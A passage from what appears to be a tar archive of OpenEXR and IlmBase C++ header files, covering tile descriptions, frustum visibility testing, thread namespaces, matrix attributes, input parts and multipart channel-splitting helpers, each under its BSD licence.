ourselves using condition variables // struct sema_t { unsigned int count; unsigned long numWaiting; pthread_mutex_t mutex; pthread_cond_t nonZero; }; mutable sema_t _semaphore; #elif HAVE_PTHREAD && HAVE_POSIX_SEMAPHORES mutable sem_t _semaphore; #endif void operator = (const Semaphore& s); // not implemented Semaphore (const Semaphore& s); // not implemented }; ILMTHREAD_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_ILM_THREAD_SEMAPHORE_H OpenEXR/ImfTileDescription.h 0000644 00000006201 15246445047 0011744 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_TILE_DESCRIPTION_H #define INCLUDED_IMF_TILE_DESCRIPTION_H //----------------------------------------------------------------------------- // // class TileDescription and enum LevelMode // //----------------------------------------------------------------------------- #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER enum LevelMode { ONE_LEVEL = 0, MIPMAP_LEVELS = 1, RIPMAP_LEVELS = 2, NUM_LEVELMODES // number of different level modes }; enum LevelRoundingMode { ROUND_DOWN = 0, ROUND_UP = 1, NUM_ROUNDINGMODES // number of different rounding modes }; class TileDescription { public: unsigned int xSize; // size of a tile in the x dimension unsigned int ySize; // size of a tile in the y dimension LevelMode mode; LevelRoundingMode roundingMode; TileDescription (unsigned int xs = 32, unsigned int ys = 32, LevelMode m = ONE_LEVEL, LevelRoundingMode r = ROUND_DOWN) : xSize (xs), ySize (ys), mode (m), roundingMode (r) { // empty } bool operator == (const TileDescription &other) const { return xSize == other.xSize && ySize == other.ySize && mode == other.mode && roundingMode == other.roundingMode; } }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathFrustumTest.h 0000644 00000035430 15246445047 0011505 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHFRUSTUMTEST_H #define INCLUDED_IMATHFRUSTUMTEST_H //------------------------------------------------------------------------- // // This file contains algorithms applied to or in conjunction with // Frustum visibility testing (Imath::Frustum). // // Methods for frustum-based rejection of primitives are contained here. // //------------------------------------------------------------------------- #include "ImathFrustum.h" #include "ImathBox.h" #include "ImathSphere.h" #include "ImathMatrix.h" #include "ImathVec.h" #include "ImathNamespace.h" IMATH_INTERNAL_NAMESPACE_HEADER_ENTER ///////////////////////////////////////////////////////////////// // FrustumTest // // template class FrustumTest<T> // // This is a helper class, designed to accelerate the case // where many tests are made against the same frustum. // That's a really common case. // // The acceleration is achieved by pre-computing the planes of // the frustum, along with the ablsolute values of the plane normals. // ////////////////////////////////////////////////////////////////// // How to use this // // Given that you already have: // Imath::Frustum myFrustum // Imath::Matrix44 myCameraWorldMatrix // // First, make a frustum test object: // FrustumTest myFrustumTest(myFrustum, myCameraWorldMatrix) // // Whenever the camera or frustum changes, call: // myFrustumTest.setFrustum(myFrustum, myCameraWorldMatrix) // // For each object you want to test for visibility, call: // myFrustumTest.isVisible(myBox) // myFrustumTest.isVisible(mySphere) // myFrustumTest.isVisible(myVec3) // myFrustumTest.completelyContains(myBox) // myFrustumTest.completelyContains(mySphere) // ////////////////////////////////////////////////////////////////// // Explanation of how it works // // // We store six world-space Frustum planes (nx, ny, nz, offset) // // Points: To test a Vec3 for visibility, test it against each plane // using the normal (v dot n - offset) method. (the result is exact) // // BBoxes: To test an axis-aligned bbox, test the center against each plane // using the normal (v dot n - offset) method, but offset by the // box extents dot the abs of the plane normal. (the result is NOT // exact, but will not return false-negatives.) // // Spheres: To test a sphere, test the center against each plane // using the normal (v dot n - offset) method, but offset by the // sphere's radius. (the result is NOT exact, but will not return // false-negatives.) // // // SPECIAL NOTE: "Where are the dot products?" // Actual dot products are currently slow for most SIMD architectures. // In order to keep this code optimization-ready, the dot products // are all performed using vector adds and multipies. // // In order to do this, the plane equations are stored in "transpose" // form, with the X components grouped into an X vector, etc. // template <class T> class FrustumTest { public: FrustumTest() { Frustum<T> frust; Matrix44<T> cameraMat; cameraMat.makeIdentity(); setFrustum(frust, cameraMat); } FrustumTest(const Frustum<T> &frustum, const Matrix44<T> &cameraMat) { setFrustum(frustum, cameraMat); } //////////////////////////////////////////////////////////////////// // setFrustum() // This updates the frustum test with a new frustum and matrix. // This should usually be called just once per frame. void setFrustum(const Frustum<T> &frustum, const Matrix44<T> &cameraMat); //////////////////////////////////////////////////////////////////// // isVisible() // Check to see if shapes are visible. bool isVisible(const Sphere3<T> &sphere) const; bool isVisible(const Box<Vec3<T> > &box) const; bool isVisible(const Vec3<T> &vec) const; //////////////////////////////////////////////////////////////////// // completelyContains() // Check to see if shapes are entirely contained. bool completelyContains(const Sphere3<T> &sphere) const; bool completelyContains(const Box<Vec3<T> > &box) const; // These next items are kept primarily for debugging tools. // It's useful for drawing the culling environment, and also // for getting an "outside view" of the culling frustum. IMATH_INTERNAL_NAMESPACE::Matrix44<T> cameraMat() const {return cameraMatrix;} IMATH_INTERNAL_NAMESPACE::Frustum<T> currentFrustum() const {return currFrustum;} protected: // To understand why the planes are stored this way, see // the SPECIAL NOTE above. Vec3<T> planeNormX[2]; // The X compunents from 6 plane equations Vec3<T> planeNormY[2]; // The Y compunents from 6 plane equations Vec3<T> planeNormZ[2]; // The Z compunents from 6 plane equations Vec3<T> planeOffsetVec[2]; // The distance offsets from 6 plane equations // The absolute values are stored to assist with bounding box tests. Vec3<T> planeNormAbsX[2]; // The abs(X) compunents from 6 plane equations Vec3<T> planeNormAbsY[2]; // The abs(X) compunents from 6 plane equations Vec3<T> planeNormAbsZ[2]; // The abs(X) compunents from 6 plane equations // These are kept primarily for debugging tools. Frustum<T> currFrustum; Matrix44<T> cameraMatrix; }; //////////////////////////////////////////////////////////////////// // setFrustum() // This should usually only be called once per frame, or however // often the camera moves. template<class T> void FrustumTest<T>::setFrustum(const Frustum<T> &frustum, const Matrix44<T> &cameraMat) { Plane3<T> frustumPlanes[6]; frustum.planes(frustumPlanes, cameraMat); // Here's where we effectively transpose the plane equations. // We stuff all six X's into the two planeNormX vectors, etc. for (int i = 0; i < 2; ++i) { int index = i * 3; planeNormX[i] = Vec3<T>(frustumPlanes[index + 0].normal.x, frustumPlanes[index + 1].normal.x, frustumPlanes[index + 2].normal.x); planeNormY[i] = Vec3<T>(frustumPlanes[index + 0].normal.y, frustumPlanes[index + 1].normal.y, frustumPlanes[index + 2].normal.y); planeNormZ[i] = Vec3<T>(frustumPlanes[index + 0].normal.z, frustumPlanes[index + 1].normal.z, frustumPlanes[index + 2].normal.z); planeNormAbsX[i] = Vec3<T>(IMATH_INTERNAL_NAMESPACE::abs(planeNormX[i].x), IMATH_INTERNAL_NAMESPACE::abs(planeNormX[i].y), IMATH_INTERNAL_NAMESPACE::abs(planeNormX[i].z)); planeNormAbsY[i] = Vec3<T>(IMATH_INTERNAL_NAMESPACE::abs(planeNormY[i].x), IMATH_INTERNAL_NAMESPACE::abs(planeNormY[i].y), IMATH_INTERNAL_NAMESPACE::abs(planeNormY[i].z)); planeNormAbsZ[i] = Vec3<T>(IMATH_INTERNAL_NAMESPACE::abs(planeNormZ[i].x), IMATH_INTERNAL_NAMESPACE::abs(planeNormZ[i].y), IMATH_INTERNAL_NAMESPACE::abs(planeNormZ[i].z)); planeOffsetVec[i] = Vec3<T>(frustumPlanes[index + 0].distance, frustumPlanes[index + 1].distance, frustumPlanes[index + 2].distance); } currFrustum = frustum; cameraMatrix = cameraMat; } //////////////////////////////////////////////////////////////////// // isVisible(Sphere) // Returns true if any part of the sphere is inside // the frustum. // The result MAY return close false-positives, but not false-negatives. // template<typename T> bool FrustumTest<T>::isVisible(const Sphere3<T> &sphere) const { Vec3<T> center = sphere.center; Vec3<T> radiusVec = Vec3<T>(sphere.radius, sphere.radius, sphere.radius); // This is a vertical dot-product on three vectors at once. Vec3<T> d0 = planeNormX[0] * center.x + planeNormY[0] * center.y + planeNormZ[0] * center.z - radiusVec - planeOffsetVec[0]; if (d0.x >= 0 || d0.y >= 0 || d0.z >= 0) return false; Vec3<T> d1 = planeNormX[1] * center.x + planeNormY[1] * center.y + planeNormZ[1] * center.z - radiusVec - planeOffsetVec[1]; if (d1.x >= 0 || d1.y >= 0 || d1.z >= 0) return false; return true; } //////////////////////////////////////////////////////////////////// // completelyContains(Sphere) // Returns true if every part of the sphere is inside // the frustum. // The result MAY return close false-negatives, but not false-positives. // template<typename T> bool FrustumTest<T>::completelyContains(const Sphere3<T> &sphere) const { Vec3<T> center = sphere.center; Vec3<T> radiusVec = Vec3<T>(sphere.radius, sphere.radius, sphere.radius); // This is a vertical dot-product on three vectors at once. Vec3<T> d0 = planeNormX[0] * center.x + planeNormY[0] * center.y + planeNormZ[0] * center.z + radiusVec - planeOffsetVec[0]; if (d0.x >= 0 || d0.y >= 0 || d0.z >= 0) return false; Vec3<T> d1 = planeNormX[1] * center.x + planeNormY[1] * center.y + planeNormZ[1] * center.z + radiusVec - planeOffsetVec[1]; if (d1.x >= 0 || d1.y >= 0 || d1.z >= 0) return false; return true; } //////////////////////////////////////////////////////////////////// // isVisible(Box) // Returns true if any part of the axis-aligned box // is inside the frustum. // The result MAY return close false-positives, but not false-negatives. // template<typename T> bool FrustumTest<T>::isVisible(const Box<Vec3<T> > &box) const { if (box.isEmpty()) return false; Vec3<T> center = (box.min + box.max) / 2; Vec3<T> extent = (box.max - center); // This is a vertical dot-product on three vectors at once. Vec3<T> d0 = planeNormX[0] * center.x + planeNormY[0] * center.y + planeNormZ[0] * center.z - planeNormAbsX[0] * extent.x - planeNormAbsY[0] * extent.y - planeNormAbsZ[0] * extent.z - planeOffsetVec[0]; if (d0.x >= 0 || d0.y >= 0 || d0.z >= 0) return false; Vec3<T> d1 = planeNormX[1] * center.x + planeNormY[1] * center.y + planeNormZ[1] * center.z - planeNormAbsX[1] * extent.x - planeNormAbsY[1] * extent.y - planeNormAbsZ[1] * extent.z - planeOffsetVec[1]; if (d1.x >= 0 || d1.y >= 0 || d1.z >= 0) return false; return true; } //////////////////////////////////////////////////////////////////// // completelyContains(Box) // Returns true if every part of the axis-aligned box // is inside the frustum. // The result MAY return close false-negatives, but not false-positives. // template<typename T> bool FrustumTest<T>::completelyContains(const Box<Vec3<T> > &box) const { if (box.isEmpty()) return false; Vec3<T> center = (box.min + box.max) / 2; Vec3<T> extent = (box.max - center); // This is a vertical dot-product on three vectors at once. Vec3<T> d0 = planeNormX[0] * center.x + planeNormY[0] * center.y + planeNormZ[0] * center.z + planeNormAbsX[0] * extent.x + planeNormAbsY[0] * extent.y + planeNormAbsZ[0] * extent.z - planeOffsetVec[0]; if (d0.x >= 0 || d0.y >= 0 || d0.z >= 0) return false; Vec3<T> d1 = planeNormX[1] * center.x + planeNormY[1] * center.y + planeNormZ[1] * center.z + planeNormAbsX[1] * extent.x + planeNormAbsY[1] * extent.y + planeNormAbsZ[1] * extent.z - planeOffsetVec[1]; if (d1.x >= 0 || d1.y >= 0 || d1.z >= 0) return false; return true; } //////////////////////////////////////////////////////////////////// // isVisible(Vec3) // Returns true if the point is inside the frustum. // template<typename T> bool FrustumTest<T>::isVisible(const Vec3<T> &vec) const { // This is a vertical dot-product on three vectors at once. Vec3<T> d0 = (planeNormX[0] * vec.x) + (planeNormY[0] * vec.y) + (planeNormZ[0] * vec.z) - planeOffsetVec[0]; if (d0.x >= 0 || d0.y >= 0 || d0.z >= 0) return false; Vec3<T> d1 = (planeNormX[1] * vec.x) + (planeNormY[1] * vec.y) + (planeNormZ[1] * vec.z) - planeOffsetVec[1]; if (d1.x >= 0 || d1.y >= 0 || d1.z >= 0) return false; return true; } typedef FrustumTest<float> FrustumTestf; typedef FrustumTest<double> FrustumTestd; IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHFRUSTUMTEST_H OpenEXR/IlmThreadNamespace.h 0000644 00000011053 15246445047 0011676 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_ILMTHREADNAMESPACE_H #define INCLUDED_ILMTHREADNAMESPACE_H // // The purpose of this file is to make it possible to specify an // ILMTHREAD_INTERNAL_NAMESPACE as a preprocessor definition and have all of // the IlmThread symbols defined within that namespace rather than the // standard IlmThread namespace. Those symbols are made available to client // code through the ILMTHREAD_NAMESPACE in addition to the // ILMTHREAD_INTERNAL_NAMESPACE. // // To ensure source code compatibility, the ILMTHREAD_NAMESPACE defaults to // IlmThread and then "using namespace ILMTHREAD_INTERNAL_NAMESPACE;" brings // all of the declarations from the ILMTHREAD_INTERNAL_NAMESPACE into the // ILMTHREAD_NAMESPACE. This means that client code can continue to use // syntax like IlmThread::Thread, but at link time it will resolve to a // mangled symbol based on the ILMTHREAD_INTERNAL_NAMESPACE. // // As an example, if one needed to build against a newer version of IlmThread // and have it run alongside an older version in the same application, it is // now possible to use an internal namespace to prevent collisions between // the older versions of IlmThread symbols and the newer ones. To do this, // the following could be defined at build time: // // ILMTHREAD_INTERNAL_NAMESPACE = IlmThread_v2 // // This means that declarations inside IlmThread headers look like this // (after the preprocessor has done its work): // // namespace IlmThread_v2 { // ... // class declarations // ... // } // // namespace IlmThread { // using namespace IlmThread_v2; // } // // // Open Source version of this file pulls in the IlmBaseConfig.h file // for the configure time options. // #include "IlmBaseConfig.h" #ifndef ILMTHREAD_NAMESPACE #define ILMTHREAD_NAMESPACE IlmThread #endif #ifndef ILMTHREAD_INTERNAL_NAMESPACE #define ILMTHREAD_INTERNAL_NAMESPACE ILMTHREAD_NAMESPACE #endif // // We need to be sure that we import the internal namespace into the public one. // To do this, we use the small bit of code below which initially defines // ILMTHREAD_INTERNAL_NAMESPACE (so it can be referenced) and then defines // ILMTHREAD_NAMESPACE and pulls the internal symbols into the public // namespace. // namespace ILMTHREAD_INTERNAL_NAMESPACE {} namespace ILMTHREAD_NAMESPACE { using namespace ILMTHREAD_INTERNAL_NAMESPACE; } // // There are identical pairs of HEADER/SOURCE ENTER/EXIT macros so that // future extension to the namespace mechanism is possible without changing // project source code. // #define ILMTHREAD_INTERNAL_NAMESPACE_HEADER_ENTER namespace ILMTHREAD_INTERNAL_NAMESPACE { #define ILMTHREAD_INTERNAL_NAMESPACE_HEADER_EXIT } #define ILMTHREAD_INTERNAL_NAMESPACE_SOURCE_ENTER namespace ILMTHREAD_INTERNAL_NAMESPACE { #define ILMTHREAD_INTERNAL_NAMESPACE_SOURCE_EXIT } #endif // INCLUDED_ILMTHREADNAMESPACE_H OpenEXR/ImfMatrixAttribute.h 0000644 00000007227 15246445047 0012004 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_MATRIX_ATTRIBUTE_H #define INCLUDED_IMF_MATRIX_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class M33fAttribute // class M33dAttribute // class M44fAttribute // class M44dAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImathMatrix.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<IMATH_NAMESPACE::M33f> M33fAttribute; template <> IMF_EXPORT const char *M33fAttribute::staticTypeName (); template <> IMF_EXPORT void M33fAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void M33fAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); typedef TypedAttribute<IMATH_NAMESPACE::M33d> M33dAttribute; template <> IMF_EXPORT const char *M33dAttribute::staticTypeName (); template <> IMF_EXPORT void M33dAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void M33dAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); typedef TypedAttribute<IMATH_NAMESPACE::M44f> M44fAttribute; template <> IMF_EXPORT const char *M44fAttribute::staticTypeName (); template <> IMF_EXPORT void M44fAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void M44fAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); typedef TypedAttribute<IMATH_NAMESPACE::M44d> M44dAttribute; template <> IMF_EXPORT const char *M44dAttribute::staticTypeName (); template <> IMF_EXPORT void M44dAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void M44dAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfInputPart.h 0000644 00000007025 15246445047 0010576 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef IMFINPUTPART_H_ #define IMFINPUTPART_H_ #include "ImfInputFile.h" #include "ImfOutputPart.h" #include "ImfForward.h" #include "ImfNamespace.h" #include "ImfExport.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER //------------------------------------------------------------------- // class InputPart: // // Same interface as InputFile. Please refer to InputFile. //------------------------------------------------------------------- class IMF_EXPORT InputPart { public: InputPart(MultiPartInputFile& multiPartFile, int partNumber); const char * fileName () const; const Header & header () const; int version () const; void setFrameBuffer (const FrameBuffer &frameBuffer); const FrameBuffer & frameBuffer () const; bool isComplete () const; bool isOptimizationEnabled () const; void readPixels (int scanLine1, int scanLine2); void readPixels (int scanLine); void rawPixelData (int firstScanLine, const char *&pixelData, int &pixelDataSize); void rawTileData (int &dx, int &dy, int &lx, int &ly, const char *&pixelData, int &pixelDataSize); private: InputFile* file; // for internal use - give OutputFile and TiledOutputFile access to file for copyPixels friend void OutputFile::copyPixels(InputPart&); friend void TiledOutputFile::copyPixels(InputPart&); }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif /* IMFINPUTPART_H_ */ OpenEXR/ImfPartHelper.h 0000644 00000017241 15246445047 0010717 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2012, Weta Digital Ltd // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Weta Digital nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_PARTHELPER_H #define INCLUDED_IMF_PARTHELPER_H //----------------------------------------------------------------------------- // // Functions to help split channels into separate parts: provide a list of // channels, with desired views. call SplitChannels to assign a part to each // layer, or correct the name of the channel. // Also can enumerate the parts in a file and list which parts channels are in // // This is a good way to offer a 'create Multipart file' checkbox to the user in a // write dialog box: Populate a list of MultiViewChannelName objects, // call SplitChannels with whether single or multipart files are required. // Then write the number of parts it specifies, using internal_name for the channel // names in the ChannelList and FrameBuffer objects. There should be no need // for different codepaths for single part and multipart files // // Similarly, on reading a file as a MultiPartInputFile, use GetChannelsInMultiPartFile to // enumerate all channels in the file, using internal_name in FrameBuffer objects // to read the channel // // //----------------------------------------------------------------------------- #include "ImfForward.h" #include "ImfNamespace.h" #include "ImfExport.h" #include "ImfMultiPartInputFile.h" #include "ImfChannelList.h" #include "ImfStringVectorAttribute.h" #include "ImfStandardAttributes.h" #include "ImfMultiView.h" #include <string> #include <map> #include <set> OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER struct MultiViewChannelName{ public: std::string name; ///< name of channel std::string view; ///< view for channel int part_number; ///< part number: updated by SplitChannels std::string internal_name;///< name used in headers: in singlepart mode, may contain viewname virtual ~MultiViewChannelName() {} //return layer for this channel, or "" if no layer std::string getLayer() const { std::size_t q=name.rfind('.'); if( q==name.npos ) { return ""; } return name.substr(0,q); } std::string getSuffix() const { std::size_t q=name.rfind('.'); if( q==name.npos ) { return name; } return name.substr(q+1); } }; // ///\brief assigns individual channels to different parts based on their layer and view name /// input is an array, list, vector etc of MultiViewChannelName objects /// on entry, each MultiViewChannelName name/view must be set (view can be empty if not multiview) /// /// if singlepart set, then on exit part_number will be zero, and internal_name will have view name inserted /// otherwise, each channel will be assigned to a different part based on its layer name and view name /// /// @param begin pointer to first MultiViewChannelName item /// @param end pointer to end of MultiViewChannelName item array /// @return total number of parts required // template<typename T> int SplitChannels(const T & begin,const T & end,bool multipart=true,const std::string & heroView="") { if(!multipart) { for(T i=begin;i!=end;i++) { i->part_number=0; //does this have a view name set? if(i->view=="") { i->internal_name=i->name; }else{ std::string lname = i->getLayer(); // no layer, only non-hero views get view name in layer name if(lname=="") { if(i->view==heroView) { i->internal_name = i->name; }else{ i->internal_name = i->view+"."+i->name; } }else{ i->internal_name = lname+"."+i->view+"."+i->getSuffix(); } } } // single part created return 1; }else{ // step 